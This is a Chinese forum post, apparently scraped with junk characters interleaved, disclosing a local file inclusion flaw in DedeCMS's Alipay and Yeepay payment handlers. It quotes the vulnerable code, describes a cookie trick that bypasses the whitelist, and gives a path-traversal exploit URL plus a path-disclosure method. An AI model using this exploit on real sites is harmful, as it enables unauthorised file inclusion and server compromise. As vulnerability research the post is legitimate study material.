晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
; g) P. Q& n9 z; O% V: N! B' F9 m' T
出现漏洞的两个文件为:
0 m9 t1 y3 j4 _: k, J/ u9 pInclude/payment/alipay.php
" n; N; m- ~4 GInclude/payment/yeepay.php
0 S x/ B! H6 J R- }2 N: {( [漏洞均出现在respond方法里,估计这两个文件是临时工写的。1 o3 f& ^5 K4 p8 m
7 ?* s( r2 {; G( |7 n0 {1 `8 b
Include/payment/alipay.php
7 i' V! ~: K w1 x; @
4 f6 u) u) J9 z6 g' e$ l......
' s' F S7 z; t0 {: T% w2 ` function respond()8 j t2 T4 m( T% P
{
* k; p6 Q. t( P if (!empty($_POST))
/ c. D8 U8 T+ r0 r! E+ @ {
, Y/ k: x; G+ B) M, n, \) U foreach($_POST as $key => $data)
; H, y% |( E% [ {
) l' [+ `, q0 B* C $_GET[$key] = $data;; q5 A9 P7 b9 D3 l% G' a
}! p& J. `( F' P# L: q, s
}
& S% T( l& ]( |+ Q3 Z# m% s /* 引入配置文件 */" X& J6 @" F x* V Q! A& B" w/ ]
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
: V$ `9 E2 ~) P0 e& i, ^1 E...... L4 i% t: W+ y
7 |( ~) r$ |9 J* \1 L6 H: C& P+ N/ L n; {% `" ~$ }
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。$ p3 g1 b9 T* v9 U( g. k
) {' \! ~, l# _" S: L1 u" o
Include/payment/yeepay.php, z2 `+ Z& t# k8 c- `9 O4 ^# `+ u5 _
: O1 ^0 g) B7 e
2 D' M( y7 z5 M
% _. P7 V+ ]3 L# i......0 U; K5 j) f' p" Q5 G
function respond()
' _. j: y0 v4 l {& t$ m; O0 i4 k, h& R1 Y. O F" ?
2 E: s8 h2 T/ `2 ~# |$ p: v
/* 引入配置文件 */
7 ~' C" W7 q% j0 r1 e require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
% o% D( F! m2 R3 t0 I
1 m( |( `' w2 {4 w! Z: U i $p1_MerId = trim($payment['yp_account']);. A; g# ~2 y. f# g5 P
$merchantKey = trim($payment['yp_key']);
% M- h" C2 n& x9 K& q...... % x+ y* V: j- T
- A6 ^5 h$ P9 k O& l* D7 y
) t; d2 V7 B( v0 @4 L
4 s5 Q$ L' S6 K' l% c$ y( b
- K0 e" F _, D
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
" f* C2 z4 s; L0 n8 N# o
& W O0 G" G" H$ U$ n" A这两个方法在plus/carbuyaction.php文件调用。
7 D7 U1 z) O4 s. V7 _
0 v4 K- j$ D, O1 g2 H9 x3 w" D! jplus/carbuyaction.php$ x8 K/ [1 F1 m: W+ q
. {" f+ e6 G: i/ {. ?1 c( A9 ~ S8 T......& y2 [2 q5 u8 s7 C
} else if ($dopost == 'return') {
/ }/ l5 k% H0 K! i/ m/ J1 } $write_list = array('alipay', 'bank', 'cod', 'yeepay');
" w8 S5 J3 F3 Q if (in_array($code, $write_list))
* m r, G0 `- P+ \ {
+ g1 ?! c% u( C+ I5 p9 m& B require_once DEDEINC.'/payment/'.$code.'.php';& c$ E) L/ y. ]
$pay = new $code;
& N6 P q$ _* S* }( A6 A4 [$ q' c$ { $msg=$pay->respond();7 d& k4 N- g- ?) c! I) Z# Y8 U
ShowMsg($msg, "javascript:;", 0, 3000);# p7 ^1 ]* Q5 f* K. _% a I
exit();
5 l5 Y+ l9 r2 S } else {5 j; S% J$ |: y& C& Z# k4 R5 l7 J
exit('Error:File Type Can\'t Recognized!');
6 H; X% l$ x3 r: ?$ R6 X }+ V' X9 \% q- b7 |. H. Z* \
}
2 D( s6 O# e- v: F, \3 [...... * v+ _( Y! }/ {: a) E2 l3 n2 i
M% |. Y1 ?- J" s8 j6 D0 `
/ K; ?2 H; a* {4 C( Z
) r2 F) p L2 }, ^' O i
& ~7 Y; A! P# ~1 v5 C; Q
1 O {. F" Z: n M9 g+ L. T
; H: x2 ]8 }! p5 T$ p大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。7 t% ]$ u* n! ~6 j
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
# u: h- q% e) w8 P, h7 Y9 `" c
! e' Q8 ]# z8 p8 i) o' e回到include/common.inc.php来看看他的机制。7 a8 u0 [9 R3 u/ w' p: a# o& O h
+ u4 U7 y& c* j6 I% k1 v / c6 a7 v" ]# Y: O& L6 a
; L7 v+ z* L: U% w ?+ E! L C
......: ^( }: p. c6 @# N. x6 @
foreach(Array('_GET','_POST','_COOKIE') as $_request)
# a) R" b6 @+ G2 m{! ]+ y7 G8 D6 f' @7 C) Y0 I
foreach($$_request as $_k => $_v) * g( N7 s9 N/ I. o0 a+ P
{
7 }% u/ a2 F$ ^; Y if($_k == 'nvarname') ${$_k} = $_v;/ A8 V- z# Y7 Z
else ${$_k} = _RunMagicQuotes($_v);
7 `/ [3 d Z& C# c$ q }
0 f! V8 s- S k" G4 Z$ @5 @4 R( C}+ b; f9 B1 U( i0 z! ]- D6 \+ N
......
# _8 ~: F. J' m/ h; |4 B5 \+ B大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:# @; d3 q( @" Q' y( {" h3 |# S: m! T6 q
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |